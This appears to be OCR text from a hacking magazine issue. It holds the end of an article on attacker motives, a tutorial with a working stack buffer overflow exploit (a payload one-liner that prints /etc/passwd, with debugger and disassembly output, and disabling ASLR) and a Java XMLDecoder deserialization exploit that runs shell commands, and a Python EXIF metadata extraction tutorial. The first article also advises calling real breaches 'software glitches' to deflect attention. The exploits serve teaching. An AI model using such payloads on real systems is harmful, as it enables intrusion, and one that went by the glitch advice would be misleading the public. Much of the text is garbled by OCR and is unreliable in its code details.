ing the attacks to the hardened criminal does allow more focus to be given to the real crimes due to the reduction in

events to monitor and respond to.

One key-learning from this that has a particular technical impact where controls are currently lacking is the effect of
the perceived belief in anonymity. Developing and deploying the technology to detect use of anonymising proxies and
overcome them to detect the real potential criminal should give a means to reduce attacks from all but determined or-
ganised crime perpetrators. The foundations do exist in idea form; with blacklists, code that detects the behaviour of

utilities like TOR, and callback communications. See the SANS paper in the references.

Threats

One of the problems with the above is that it really applies to the external attacker; and not the disgruntled employee
or those who breach physical security to get inside the company perimeter. In reality, as companies tend to strengthen
their perimeters and have weaker protections within their company buildings on their internal network, the greater

risk is from internal attack.
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A “hacktivist” or cyber terrorist commits crimes such as defacing web sites, Denial of Service (DoS), or critical infra-
structure attacks to get publicity. Without the publicity, the attacks don’t achieve the aims of the attacker so there is no

benefit and motivation for future attacks. The threat is, therefore, reduced if there is no publicity from earlier attacks.

Other attackers have motivations that are financial or for prestige, and the two main demotivators are fear of being
caught or exposed, and the effort involved in the attack itself. Defence in depth and techniques to identify the real user
act as a warning to avoid an attack. If the types of defences are well known, it may act as a challenge for some hackers,

but the less motivated will avoid an attack.

The two key threats of organised crime, and disgruntled or tempted employees, are not dissuaded by the defence in
depth or external security controls, but the other attackers will move their efforts to other targets. This allows more fo-

cus on evidence collection for prosecution of the criminal activity that still occurs once it has been detected.

If attackers see that a company prosecutes cyber attackers to the full extent of the law, and that they keep logs suitable
for “chain of custody” forensic support to facilitate that prosecution, even hardened criminal attackers will think twice.
Web logs and audit logs need to be captured and the details turned up when a potential fraud or attack is detected;
with these copied securely offsite with source metadata, a date and time stamp, and a hash of information to avoid tam-

pering with audit on access to that data.
The Threat Response

To provide a real deterrence to an attacker, there must be a response to any attack. This should include prosecution for
criminal attacks, and minimal information beyond acknowledging an outage (if one occurred) for politically motivated
attacks. Whichever response is appropriate, enough information should be captured to patch any vulnerabilities that

have been identified and to support prosecution.

Most attackers will perform some sort of reconnaissance, and this can often be identified even if it isn’t an attack itself.
Rules engines in the flow of transactions and analysis systems feeding these with threat value assessments can help in
data collection and response. For example, a small number of legitimate low value business transactions may be identi-
fied outside of security systems, and this should lift the threat level allowing the rules engines to switch on more log-
ging for a particular inbound channel or session. An unauthorised vulnerability scan should further raise the threat
level, and at this point the attack can be considered as having started to slow down the session in the rules engine and
forensically collect further logging information whilst leaving other sessions unaffected. Once a hack, script or use of
tools such as known Metaspolit plugins are detected, the forensic information should be made ready for prosecution
and attempts made to adapt to or terminate the sessions; at this point the use of honeypots can be part of the response

to enable prosecution.

Remember that attacks can be internal as well as external, so this behaviour need not be only seen on external bounda-

ries. Adaptability in the transaction processing coupled with background analysis of behaviour is the way to prepare
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for and respond to attackers, with an understanding of the types of attack motivations giving guidance as to how to re-

spond after the event.

e To respond to all of the attack vectors requires understanding the types of attack and attacker along with the

motivations; this gives us guidance for how to respond and mitigate the attacks:

e Do not refer to an attack as a “hack” and do not publicise hactivism or cyber terrorism. Use language such as

“software glitch” to deflect attention from cyber terrorism and hacktivism attacks.

e Use proxy blacklists and detection, and callback technologies, to identify users trying to remain anonymous

and either drop the connection or display user identification messages.
e Have layers of defence in depth security at the perimeter to slow down motivated attackers.

e Keep forensically secure logging and audit information in a controlled manner compatible with “chain of cus-

tody” processes to facilitate prosecution.

Responding to threats with these mitigations will not completely remove attacks, but attacks should be reduced.
What We Have Learned

Understanding different types of attacker and their motivations can give a different set of mitigations to those cur-
rently used as a blanket defence by companies. Hacktivists and cyber terrorists can be diverted by using language that
does not highlight their message; care must be taken to refer to “glitches” rather than hacks. Many attackers assume
anonymity on the Internet so displaying status information as to their source IP address or removing access via ano-
nymizing proxies will discourage them for fear they will get caught and prosecuted. Defence in depth is the only real
protection from the motivated attacker from an organized crime background, but knowing that attackers are success-

fully prosecuted due to forensically sound audit and logging controls will provide some discouragement.
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o Handling Anonymous Proxies:
https://www.sans.org/reading-room/whitepapers/detection/detecting-preventing-anonymous-proxy
-usage-32043.

102


https://hakin9.org
https://hakin9.org
https://hakin9.org
https://hakin9.org
https://hakin9.org
https://www.sans.org/reading-room/whitepapers/detection/detecting-preventing-anonymous-proxy-usage-32943
https://www.sans.org/reading-room/whitepapers/detection/detecting-preventing-anonymous-proxy-usage-32943
https://www.sans.org/reading-room/whitepapers/detection/detecting-preventing-anonymous-proxy-usage-32943
https://www.sans.org/reading-room/whitepapers/detection/detecting-preventing-anonymous-proxy-usage-32943

—

-

ot
»

e

U L UL U UL USES U L

— ! .

!

J

-~ i
e
4
.
':..l
|- ol
=
i

.
i

|

!
]
:

-1 "» . -1
]J 0L

-




ABOUT THE AUTHOR

AMIT RANJAN

Author is a computer enthusiast with 10+ years of experience in exploring
ways to compromise security across different software implementations.
Working for Aujas Networks for the last 8+ years and harnessing their plat-

form to acquire new skills.



HaRINS

When an input transfigures a use case to an abuse case, it's become a successful hack. A successful hack signifies that
the software program isn’t coded with resilience against that input; it may be an inherent vulnerability in the program-
ming language (crashes that can become exploits) or an insecure implementation (bugs and flaws) by an ignorant pro-
grammer. The thought process in hacking has long been dominated by payloads that can subvert barriers put in an im-
plementation. Of course, there are practices of developing exploits that need a hacker to be aware about programming

languages, probably more than a developer.

Awareness of various elements in a programming language provides more sharpness to the hacking techniques, such
as elements that form the surface for interaction with the outside world users, elements that talk to the underlying op-
erating system, such as system calls, elements that connect to other resources, such as database or network streams,
etc. In this article, I will try my best to take you through the segments of some programming languages that have long

been exploited to disrupt the security of an implementation.

What is common in ‘Morris worm’, ‘Code Red Worm’, ‘SQL Slammer Worm’ or ‘Heartbleed’ and few more successful

prominent attacks, is that they are all variants of buffer overflow attacks.

Originally created to calculate the size of internet, Morris worm was written by Robert Tappan Morris that exploited
buffer overflow vulnerability in a ‘fingered’ program to launch a shell that can receive and execute instructions over an

open network connection from the attacker.

The worm that even affected the web server at ‘White House’ for a very short duration, exploited buffer overflow vul-
nerability in Microsoft’s IIS web server by using a long string with repeated letter ‘N’, and the payload to deface web-
sites was observed on the internet on July 15 2001, by Marc Maiffret and Ryan Permeh while they were drinking Code

Red Mountain Dew; that’s why they named it ‘Code Red Worm’.

SQL Slammer worm exploited the buffer overflow vulnerability in Microsoft SQL Server 2000 to generate random IP
addresses or broadcast addresses for propagation on a network that caused a massive amount of network traffic, which

brought down as many as 5 of 13 internet root name-servers.

The recently found ‘Heartbleed’ vulnerability in OpenSSL cryptography library was allowing an adversary read past a
buffer to get access to secrets such as cryptographic keys, credentials and other sensitive information. On May 20,

2014, 1.5% of the 800,000 most popular TLS-enabled websites were still vulnerable to ‘Heartbleed’.

Buffer overflow or buffer overrun is common in programming languages that allow reading or writing beyond the
boundary of a buffer. A buffer is the allocation of contiguous memory location to hold data, while moving control to
different sections of a program or while moving between programs. In C and C++, there is no inbuilt boundary check
when an input attempts to access a buffer. This may allow an attacker to craft a payload that can read or write past the

buffer to adjacent memory locations. What can be achieved by that depends upon what exists beyond the buffer.
Let’s understand with an example:

Vulnerable Code:
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#include
oid etc passwd
int «

] *file:
file - fTopenl

A vulnerable program

As you can see, this code is not practical by any stretch of the imagination, why would someone try to read from the
file? But just to convince you that the function etc_passwd() is dangerous, this example is useful. As a hacker, our

goal will be to invoke the ‘dangerous’ function to steal the sensitive information.

Environment details:

Below are some noteworthy details about the environment to recreate this example:

IDE: Eclipse IDE for C/C++ Developers Version: Neon.3 Release (4.6.3) Build id: 20170314-1500
GCC C Compiler options: -O0 -g3 -Wall -c -fmessage-length=0 -fno-stack-protector -m32
GCC C Linker: g++ -m32 -Xlinker -melf_i386 OS: Ubuntu 64 bit

Disable ASLR: ‘sudo echo 0 > /proc/sys/kernel/randomize_va_ space’

The Fundamentals:

A detailed understanding of the memory layout is the key for a successful buffer overflow exploit; that includes how a
program is laid out in the memory, where and how is the data stored while processing, how are different registers used

to keep different locations of the program for managing the flow and how to generate a payload.

Memory Layout
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Memory layout for the binary

Below is another simple program for better understanding that you should never show “Authenticated” irrespective of

whatever input is provided.

winclude<stdio. h>

int main()
{
char credential=s(s);
int auth - ©;
scanf("%s", credentials):
fifT(authe-0) {
printf("Not Authenticated™) ;
)
else{
printf("Authenticated™);
)
H

A simple vulnerable program

Let’s create a binary from the above code and attach ‘gdb’ debugger to the process after executing it and set a break-

point at line no. 13. We can get low level details, such as addresses of variables and their values, while the program is

executing.
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amitPubuatu: ksg Bu y 1/0ebug$ sudo gdb -p pgrep Buf_overl
CNU gdb (Ubunty 7.11.1-0ubuntyl-16.04) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License CPLvI+: GNU GPL version 3 or later <http://onu.org/licenses/gpl.htal>
This s free softw - to change and redistribute 1t
There 1s NO MARRANTY, to the extent permitted by law. Type “show copying”
and “show warranmty® for detall

s configured as "x86 64-1linux-gnu”.

onfiguration™ for configuration detalls.

orting instructions, please see:
«<http://www.gnu.org/software/gdb/t o
Find the CO8 mamual and other do \ ation resources onlime at:
<http://www.gnu. org/sof tware/gdb/documentation/>,
For help, type “help
Type “apropos word®™ to search for commands related to “word®,
4409: No such file or directory.
Attaching to process 4391
Reading synbols from /hone/anit/workspace/Buf overl/Oebug/Buf overl...done.
Reading synbols from /JLLb32/11ibc o debugging synbols foumd)...done.
Reading synbols from /JlLb/ld-1in 2...(n0 dedugging symbols found)...done.
Oxf76e3be? In _ kermel_vsyscall ()
{gdb) break Auth.c:13
Breakpoint 1 at Ox8048483: fille ../Auth.c, line 13.
(9db) B

gdb’ debugger attached to the process

We can press ‘s’ or ‘n’ to move forward one line at a time. We can also view the address or the value of a variable that is
pushed on the stack. In this particular instance, we will try to understand the memory layout of the binary. After pro-

viding an input string and pressing ‘s’ multiple times, we can inspect the addresses used in the program.

(gdb) s

Single stepping until exit from function __ 1s0c99_scanf,
which has no line number information.

main () at ../Auth.c:14

14 if(auth==0){

(gdb) print &credentials

$1 = (char (*)[5]) oxff818267
(gdb) print &auth

§2 = (int *) oxff81826¢

(gdb) B

Address of variables ‘credentials’ and ‘auth’

A function along with its variable gets pushed on the stack as the binary gets executed in the memory. In this case,
‘auth’ and ‘credentials’ are pushed on the stack in reverse order and subtraction of their address provides us the size of

the buffer allocated for variable ‘credentials’.

Hex Calculator

Lnter two hexadecimal numbders 10 perform calculation

Result

0xff81826¢ - 0xff818267 = 5

Hexadecimal calculator 1 O 8
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We can infer the following points from the above analysis:
- Contiguous locations are allocated to variables within a function.

- Size of the buffer can be calculated by simple hexadecimal calculations to know how many characters are re-

quired to overflow the buffer and write a sensitive variable, which is ‘auth’ in this case, to make it non-zero.

Let’s try to get the above program to print “Authenticated” with our malicious input which probably is the simplest

hack in this universe!!!

Buf_ov.c Auth.c ¢ Auth.c 22

#include<std

int main()
{l
char credentials([5];
int auth - 0;
scanf("%s", credentials);:
if(auth==0){
printf(“Not Authenticated”);
}

else{

printf("Authenticated”);

}

Problems « Tasks 0 Console 2 Properties s Call Graph | X

¥

<terminated> (exit value: 0) Buf over1 [C/C++ Application] /home/amit/workspace/E

Authenticated

Simple buffer overflow write attack

There are some more important elements in the fundamentals that are worth understanding.

Meta-data (Registers)

The processor needs to know the address to return while making a function call, it needs to know the next instruction

to be executed and the address where the data is stored to process upon.
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1.  %eip is the register that contains the pointer pointing to the address of the next instruction to be executed.
2. %esp is the stack pointer register that points to the top of the stack.

3. %ebp is the base pointer register to locate local variables and function parameters. It is also called the

frame pointer and the addresses of variables are found out using the size of the variable as offset relative to

its value in case of contiguous memory allocation.
Whenever a new function is called:

1.  The value of $eip is pushed on the stack so that control can be returned back to the callee function and its

value is now set to the address of the called function so that the next instruction in the called function can

be executed.

2.  The value of %$ebp is pushed on the stack so that data can be located when the control returns back to the

callee function and its value is set to the %esp where the data is being pushed that will be executed upon in

the called function.
Exploitation

Now let’s focus on the challenge we started the discussion with, to print the content of the ‘/etc/passwd’ file through
buffer overflow vulnerability. We will take the analysis of our binary to the next level using another tool called ‘ob-

jdump’.

amit@ubuntu:~/workspace/Buf_over/Debug$ objdump -d Buf_over

Buf_over: file format elf32-1386

Disassenbly of section .init:

080483aC < Inlt>:

80483acC: 53 Xebx

80483ad: 83 0 s SOx8 , Nesp

$0483b0: el ¢ 8048420 <_ xB6.get _pc_thunk. bx>
80483b5S: 81 < SOxi1c4b Nebx

$0483bd: &b 8 -Ox4(%ebx) ,Neax

80483c1: 85 %eax Neax

80483c): 74 80483ca < Init+Oxle>

80483cS: e8 8048460 «__ 15099 _scanf@plt+oxios
80483ca: 83 0 SOx8 Xesp

$0483cd: 5b Xebx

80483ce: c3

Disassenbly of section .plt:

080483d0 «<printf@plt-0x10>:

80483d0: ff 35 04 a0 0/ 0x8042004
80483d6: ff 25 68 a0 *Ox8042008
80483dc: 00 00 %al,(Neax)

0804830 <printfgplts>:

80483¢0: ff 25 oc a0 *OxB04200cC

80483e0: 68 00 00 00 Soxe

80483eb: e9 cb ff 1f 8048300 «_1init+0x24»

08048310 «fclose@plt>:

Objdump output of the binary

1O
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Let’s focus on some interesting details in the ‘objdump’ output. The address of the sensitive function: ‘080485cc’

080485cc <etc passwd>:
80485cc: 55 %ebp

80485cd: 89 e5 %esp,%ebp
80485cf: 83 ec 18 SOx18,%esp
80485d2: 83 ec 08 SOx8,%esp

The size of the memory allocated to the buffer 1c = 28 in decimal in ‘input()’ function:

08048628 <input>:

8048628: 55 %ebp
8048629: 89 %esp ,%ebp
804862Db: 83 SOx28 ,%esp
804862e: 83 SOxc ,¥esp

8048631: 68 SOx8048721
8048636: es8s 8048410 <puts@plt>
804863b: 83 SOx10 ,%esp
804863e: 83 SOx8 ,%esp

8048641: 8d -Ox1c(%ebp) ,%eax

With the above discussion about the memory layout and registers we know that the content of ‘%eip’ and ‘%ebp’ must
be pushed on the stack while calling the function ‘input()’ in ‘main()’ at line number 32, followed by data in the ‘in-
put()’ function. There is a buffer to hold 20 characters within ‘input()’ function. Once this gets pushed to the stack and
the execution starts at line number 20, the stack contains buffer ™ %ebp (frame pointer for data in ‘main()’) = %eip (in-
struction pointer) to resume in ‘main()’ where it left for executing ‘input()’ function. We need to manipulate the value
of %eip pushed on the stack so that the control goes to the ‘etc_passwd()’ function instead of returning to the ‘main()’

function. We have the address of ‘etc_passwd()’ function - ‘080485cc’.
The Payload

The payload should be such that it can consume the entire space allocated to the buffer + the size of the %ebp register
+ the new value for the %eip register (the address ‘0804856b’ in little-endian or big-endian format) = random string

of 32 characters + \x6b\x85\04\08.

L
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amitubunte: workspae Buf v DebugS python -¢ ‘print "a"*32 + "\x6b\x85\x04\x08""' | ./Buf over
Enter some text: .
You entered: 220882822808000080888088000300000ke((]

root:x:0:0:root: /root: /bin/bash
daemon:x:1:1:daemon: fusr /sbin: Jusr/sbin/nologin
Dim:x:2:2:0in:/bAn: Jusr/sbin/nologin
Sys:ix:3:3:sys:/dev: /usr/sbin/nologin
sync:x:4:65534:sync: /bin: /bin/sync
games:x:S:60:ganes: Jusr/ganes: Jusr /sbin/nologin
man:x:6:12:man: /var/cache/man: Jusr/sbin/nologin

Wpix:7:7:1p:/fvar/spool/1pd: Jusr/sbin/nologin
matl:x:8:8:mal L /var/matll: Jusr/sbin/nologin
PewsS:x:9:9:news: fvar /spool /news: Jusr /sbin/nologin
wucp:x:10:10:uncp: fvar/spool Juucp: Jusr/sbin/nologin
proxy:x:13:13:proxy: /oin: Jusr/sbin/nologin
wew-dataix:33:33 :www-data: /var /www: Jusr/sbin/nologin
backup:x:34:34:backup: fvar /backups: Jusr/sbin/n

Iist:x:38:38:Malling LAist Mamager:/var/list: /usr/sbin/nologin

Are:x:39:39:\rcd: /var/run/Arcd: Jusr /sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats: /usr/sbin/nologin
nobody:x:65534:65534: nobody: /nonexistent: Jusr/sbin/mologin
systend-timesync:x:100:102:systend Time Synchronization,,,:/run/systend: /bin/false
systend-petwork:x:101:103:systend Network Management,,.:/run/systend/metif:/bin/false
systend-resolve:x:102:104:systend Resolver t/run/systend/resolve: /bin/false
systend-Dus-proxy:x:103:105:systend Bus Prox t/ren/systend: /bin/false
syslog:x:104:108:: /hone/syslog: /bin/false

APLIx:105:65534:: /nonexistent: /bin/false
messagebus:x:106:110:: /var/run/dbus: /bin/false
wuldd:x:107:111:: /run/uuldd: /bin/false

Llightdm:x:108:114:L1ght Display Manager:/var/1ib/1ightdn: /bin/false
whoopstie:x:109:116:: /nonexistent: /bin/false
avahi-sutolpd:x:110:119:Avahl autolp daemon,,,.:/var/lib

2 hi _anac n

Javah\i-autolipd: /bin/false

20a (hio/fa

Successful buffer overflow attack
The one explained above is called stack smashing. There are many variations of the buffer overflow attack that can
1.  Corrupt memory allocated on the heap using malloc and new operator
2.  Steal sensitive information, such as an encryption key or password
3.  Perform denial of service attack by exhausting the computer’s resources
4.  Corrupt data

We need to understand the language construct that deals with memory buffers and insecure implementations that al-

low access beyond its boundaries while dealing with low level programming languages, such as C/C++.
Commonly used functions that are vulnerable to buffer overflow:

gets ()

strcpy ()

strcat ()

sprintf ()

scanf ()

getwd ()

n2
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realpath ()
Serialization Flaws:

The process of converting an object to a byte stream that can be stored in a file, saved in a database or transported as a
network stream is called serialization and the reverse is called de-serialization. There are various libraries provided by
different high level languages to de-serialize a byte stream to re-create a Java object from that. These libraries can be
exploited to execute a shell command of an attacker’s choice. Let’s try to understand this with a simple implementa-
tion found on internet to create a Java bean (class with member variables and associated getter and setter) from an

xml file.

XmiDecoder joava

Vulnerable de-serialization implementation

Xml file with malicious payload:

An XML with malicious payload for vulnerable de-serializer

Before and after executing the code:

13
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amit@ubuntu:~/workspace_Java/Exploits/binS 1s

myxml.xml XmlDecoder.class
amit@ubuntu:~/workspace_Java/Exploits/bin$ java XmlDecoder
amit@ubuntu:~/workspace_Java/Exploits/binS 1s

hack.txt myxml.xml XmlDecoder.class
amit@ubuntu:~/workspace_Java/Exploits/bin$S l

A new file ‘hack.txt’ getting created as a result of successful exploits

It is the insecure de-serialization that gives way to a malicious xml file to execute the
‘Java.lang.Runtime.exec()’ function with “touch hack.txt” as an argument. Consider it running with “init 0” and the re-
sult will be devastating. Knowledge of programming languages will be of substantial help to a hacker for exploit devel-

opment rather than relying on fuzzing with different payloads available on internet.

REFERENCES:

« https://dhavalkapil.com/blogs/Buffer-Overflow-Exploit/

« https://en.wikipedia.org/wiki/Buffer overflow

 http://www.miniwebtool.com/hex-calculator/?

number1=0xff81826c&operate=2&number2=0xff818267

« http://www.binarvhexconverter.com/hex-to-decimal-converter

o https://www.coursera.org/learn/software-security

« http://insecure.org/stf/smashstack.html

« https://pentesterlab.com

« https://en.wikipedia.org/wiki/Morris worm

« https://en.wikipedia.org/wiki/SQL Slammer

« https://en.wikipedia.org/wiki/Code Red (computer worm)
« https://en.wikipedia.org/wiki/Heartbleed
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The dangers of metadata

The extraction of metadata is one of the biggest dangers that exist related to the files and that people ignore. Metadata

extraction will be addressed and advice will be given to avoid risks.
What will you learn?

In this article, we will introduce the world of programming for hackers, specifically, the extraction of metadata using

Python from images or PDF documents. The topics addressed are as follows:
e Extraction of metadata from images.
e The most relevant metadata from images.
e How applications handle metadata from images.
e Extraction of metadata from PDF documents.
e The most relevant metadata from PDF documents.

¢ Advice to prevent and remove the metadata from files.
What you should know

e No prior knowledge is required because all necessary knowledge will be explained in this article.

¢ You just need to have fun learning and researching.
Introduction

Nowadays, society has the need to share all its moments and moods with friends and family. This is a reality that we
can see every day in social networks like Facebook, Twitter, Instagram, Snapchat, etc. It’s so much the boom of these
applications, that new ones arise all the time with a different essence that attracts its use. However, users don’t stop to
think about the risks which they’re exposed to by an inappropriate use of them. One of the most common, especially
between young people, is to follow strangers to get reciprocal action from them and vice versa, just for the satisfaction
of having many followers. This leads you to reveal personal information without knowing their true intentions, getting
at all the data about your habits without any effort. And the worst of all is that you can reveal sensitive information

with which you can be attacked. We're talking about metadata.

Metadata is, simply, a set of descriptive information about the files to which they are related. Although this informa-
tion is transparent to the user, it exists and can be a dangerous weapon in the wrong hands.
Metadata can be found in documents, audios, images, videos, etc. In the example that we talked about at the beginning
about social networks, a user could upload images that compromised his privacy, since it could be geolocated from

where the upload was made; model, brand, version and operating system of the device that made the photograph, the
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date, and much more information an attacker could use to enrich and prepare his attack. For example, if the attacker
gets the type and version of the user's device, he could investigate which exploits are appropriate to exploit the device’s

vulnerabilities and, thus, achieve its purpose.

So far, we have been talking about the danger that users can run into with the inappropriate use of metadata on the net-
work, but what about organizations? Nowadays, companies also have public social networks or blogs in which to pub-
lish articles, news, promotions, manuals, images of workshops, congresses, etc. If proper precautions are not taken,
anyone with bad intentions can start by easily finding information from their target there, as any oversight can cause
the internal structure of the organization to be obtained, such as internal servers, software, and any useful information

to perform attacks.
Extraction of metadata from images

Now that you know the meaning of metadata, we will proceed to extract it from PDF documents and images through
scripts made in Python. This programming language has been chosen due to its ease and speed in software production,
while having the necessary libraries to facilitate the work of extraction and analysis of the metadata collected. We're

talking about Exifread for images and pyPdf for PDF documents.

EXchangeable Image File Format (EXIF) data are those stored in images taken with digital cameras or smartphones,
in other words, photographic metadata. Between them are the ones already mentioned, such as information about the
device (manufacturer, model, brand, etc.), photographic trigger parameters (focal length, sensitivity, orientation, etc.),
geolocation data (length, latitude, altitude, etc.), characteristics of the photo (size, time, etc.), all depending on the de-
vice’s configuration with which the photo is taken. For this reason, the Python Exifread library is used to extract, pre-

cisely, this metadata.

To use Exifread, the first step is to download it using the pip.exe tool.

C:\Python2?7\Scriptsdpip.exe install exifread |
Collecting exifread
Using cached ExifRead-2.1.2-py2-none—any.whl

Installing collected packages: exifread
Successfully installed exifread—-2.1.2

C:\Python2\Scripts>

Image 1. Installation of the library exifread

After that, the script metadataPictures.py is created, which will get the metadata of the images indicated. Let's first

look at the code to understand its functioning.

First, the main function is described, in which the parameters passed by the command line will be obtained in the
same script execution, that is, the path of the photo to be analyzed and the file where the results will be exposed.

Thanks to the argparse library, it can create an interface to interact easily with the user through the terminal, which

18
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explains how to execute the script to make the correct use of it. Once the user inserts the arguments and they are

stored, the function will be called in charge of obtaining the metadata.

This part of the code is exposed below.

Listing 1

# Main function
def main ():
# Check arguments
parser = argparse.ArgumentParser (description="Analyzing pictures through \
Metadata")
#Describing positional arguments
parser.add argument ("photo", type=str, help="Insert the url of the \
photo to analyze")
parser.add argument ("filename", type=str, help="Insert only the \
name and the extension of the file where \
to write the results, i1.e 'results.txt'")

args = parser.parse args ()

#The arguments are saved in variables
picture = args.photo

file results = args.filename

#The picture is going to be analyzed...

detectMetaPhoto (picture, file results)
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main ()

The operation of the detectMetaPhoto function will be explained below. It uses the process_file method of the exifread
library to obtain the properties of the file passed by the user, whose organization is established as a dictionary, that is,
a list of key-value pairs. After that, the results are recorded in the file indicated as an argument, which will also be
stored in the results directory (enabled exclusively for this). In this case, the user doesn’t have to create that directory,
the script is in charge of it in case it doesn’t exist. The purpose of storing the metadata in a file and not displaying them

on the terminal is so the user can perform customized searches for specific data.

The part of code belonging to the previous description is presented below.

Listing 2

"""This function will analyze the picture and it will save the results in the
file, both passed as arguments """
def detectMetaPhoto (picture, file results):
try:
#The first step is to open the file
image = open(picture, 'rb')
#Next, it gets the properties of the picture
properties picture = exifread.process file (image)
if len(properties picture) > 0:
if not os.path.isdir('results'):
os.makedirs ('results')
#Now, change the directory
os.chdir ('results')

#Then, open the file in that directory
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file Meta = open(file results, 'w')
#The properties are printed
for element prop in properties picture.keys():
if element prop not in ('JPEGThumbnail', 'TIFFThumbnail',
'Filename', 'EXIF MakerNote'):
line = "%$s : %$s\n" % (element prop,
properties picture[element propl)
file Meta.write(line)
#At the end, the file is closed

file Meta.close()

print "\n Metadata catched! The results are in the url \"results\\" + file res

ults + "\"\n"
else:

print "There aren't any properties of the file to show you!"

#Finally, the picture is closed

image.close ()

except IOError:

print "Error E/S: The file or the url given isn't valid!"
except OSError:

print "Error directory: There is a problem handling directories!"
except:

print "Unexpected Error!", sys.exc info () [0]
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Now that we’ve explained the steps that the tool will give to get the metadata of images, we will proceed to execute the

script as user. It’s necessary to indicate as arguments the path of the photo to be analyzed followed by the file where

the results will be displayed, as you can see below.

Image 3. Execution of the script

Let's analyze below the most outstanding results of the image plazaespafia.jpg, exposed in the file

results_plazaespariia.txt. The image in question is as follows:
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Image 4. Analyzed image

GPS GPSLongitude : [5, 59, 1329/125]
GPS GPSImgDirection : 222

Image ExifOffset : 426

EXIF ComponentsConfiguration : YCbCr
EXIF LightSource : other light source

GPS GPSLatitudeRef: N

GPS GPSAltitudeRef : 0

Image DateTime : 2017:02:05 15:46:07
GPS GPSProcessingMethod : [65, 83, 67, 73, 73, O, O, 0, 71, 80, 83, 0, 0, 0, 0, 0, 0, 0, 0, O, ... ]
EXIF MeteringMode : CenterWeightedAverage
EXIF ExifVersion : 0220
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EXIF Flash : Flash did not fire
Image Software : MediaTek Camera Application

EXIF UserComment : e_mode":"PhotoModule","faces":[ ]}
EXIF FlashPixVersion : 0100

EXIF ISOSpeedRatings : 119

Thumbnail YResolution : 72

EXIF SubSecTime : 68

Interoperability InteroperabilityVersion : [48, 49, 48, 48]
GPS GPSDate : 2017:02:05

Image Orientation : Horizontal (normal)

EXIF DateTimeOriginal : 2017:02:05 15:46:07
Image YCbCrPositioning : Co-sited

EXIF InteroperabilityOffset : 865

Thumbnail JPEGInterchangeFormat : 1326

EXIF FNumber : 11/5

EXIF ExiflmageLength : 3120

Image ResolutionUnit : Pixels/Inch

Thumbnail YCbCrPositioning : Co-sited

GPS GPSVersionID : [2, 2, 0, O]

EXIF ExposureTime : 661/1000000

Thumbnail XResolution : 72

Image GPSInfo : 895

EXIF ExposureProgram : Unidentified

Thumbnail JPEGInterchangeFormatLength : 14375
EXIF ExposureMode : Auto Exposure

Thumbnail Compression : JPEG (old-style)

Image Tag 0x0225 :

Image Tag 0x0224 : 1

EXIF DateTimeDigitized : 2017:02:05 15:46:07
Image Tag 0x0221: 0

Image Tag 0x0220 : 0

Image Tag 0x0223 : 0

Image Tag 0x0222: 0

EXIF ExiflmageWidth : 4160

GPS GPSLatitude : [37, 22, 395169/10000]
EXIF SceneCaptureType : Standard

GPS GPSTimeStamp : [14, 44, 31]
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Image ImageDescription :

EXTF DigitalZoomRatio : 1

EXIF SubSecTimeOriginal : 68

GPS GPSImgDirectionRef : M

EXIF ColorSpace : SRGB

EXIF FocalLength : 7/2

Image Model : VFD 700

Image XResolution : 72

Image Make : Vodafone EXIF WhiteBalance : Auto
EXIF SubSecTimeDigitized : 68

Thumbnail ResolutionUnit : Pixels/Inch
Image YResolution : 72

GPS GPSLongitudeRef : W
Interoperability InteroperabilityIndex : R98
EXIF ExposureBiasValue : 0

GPS GPSAltitude : 8

Thumbnail Orientation : Horizontal (normal)

The most relevant data that may interest an attacker are those previously indicated: GPS information, model and mark
of the device with which the image was taken. The first of these has been obtained thanks to the fact that, at the time
the photography was taken, the smartphone’s GPS was activated. For this reason, if you want to prevent this data from
being recorded in the image, deactivate the GPS locator before taking the photo or, if not, use devices without an inter-
net connection, such as cameras. Looking for the coordinates obtained in the metadata in Google Maps, for example,

the location where the photograph was taken is easily obtained.
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Image 5. Place GPS Coordinates

After that, it can perform a search about the vulnerabilities that the device presents and available exploits with which
to make an attack. An example of this can be the web https://www.cvedetails.com, a repository of vulnerabilities val-

ued from minor to major gravity. At the same time, you can also consult another database about exploits, which can be

searched for the particular device, such as the web https://www.exploit-db.com. At this point, it would be interesting
to know how the applications treat the uploaded images, that is, if they remove metadata or not.

Let's start with one of the most used, Facebook. Uploading the same photograph to the social network and download-

ing it later to analyze it, it gives the following result:

Image 6. Image downloaded from Facebook without metadata

As you can see, Facebook removes the metadata of the images uploaded, thus increasing the security of its users. The
next application to test will be WhatsApp. It performed two experiments: the first is to download the profile picture of
a contact and the second will be receive an image made with GPS so that, in case of obtaining metadata, to know the
location of the contact that sent us the photograph. However, it’s again possible to conclude that WhatsApp protects

its users, since it removes the metadata of both cases.

Image 7. Profile image and image downloaded from WhatsApp without metadata
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On Twitter, Instagram and LinkedIn, it’s more of the same: all of them remove the metadata of the images that users
upload to not reveal information about them. However, downloading images on YouTube, such as the profile, can save
some metadata, although they aren’t very relevant to an attacker. YouTuber’s profiles have been randomly selected

and their photos have been saved to analyse. There have been two series of results with the same characteristics:

Image Software : Google

Interoperability InteroperabilityVersion : [48, 49, 48, 48]
Image ExifOffset : 46

EXIF ColorSpace : SRGB

EXIF InteroperabilityOffset : 88

EXIF ExifVersion : 0220

Interoperability InteroperabilityIndex : Rg8

Image Software : Google

The previous metadata, as you can see, are parameters with little information to be able to make an attack and, in addi-

tion, they are the characteristics that Google gives to the image format.

Finally, a test has been carried out where an email has been sent with the analyzed photograph previously attached

through Gmail, and the result of a new analysis is identical: it contains all the metadata, without any exception.

So it’s important to know to whom you send or publish something as simple as a photograph, since it can reveal details

about you, or worse, your organization, since you not only put yourself at risk, but the whole company.

Once we've seen the possible effects to sharing a file with metadata, it will be exposed how to delete them to eradicate
any risk, thus increasing the safety of users. In addition to its removal, it is important to make sure that GPS is dis-

abled on devices with geolocation.

It has been seen that the most used social networks do use this protection, but they won’t always have to be through
these means the sharing of files, but it can be as easy as lending a pendrive, uploading a university job to a web portal

and countless possible cases.

Through Windows 10, most metadata can be removed from the images in a few simple steps.
The first step to do is select the photos. After that, open the properties window and then the Details tab. At the end,
click on the Remove Properties and Personal Information link. Once there, you will get a window like the following

one.
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o repe

Some of these properbes might contain personal nformaton.,

9@ Create a copy with all possible properties removed
Remave the folowing properties from this fle:

Property Vaue
Descnption
Tite
Subject
Rating
Tags
Comments
Onigin
Authors
Date taken 2/5/2017 3:46 PM
Program name MedaTek Camera A...

Date acquired

™ armvivinine

OK Cancel

Image 8. Remove properties and personal information

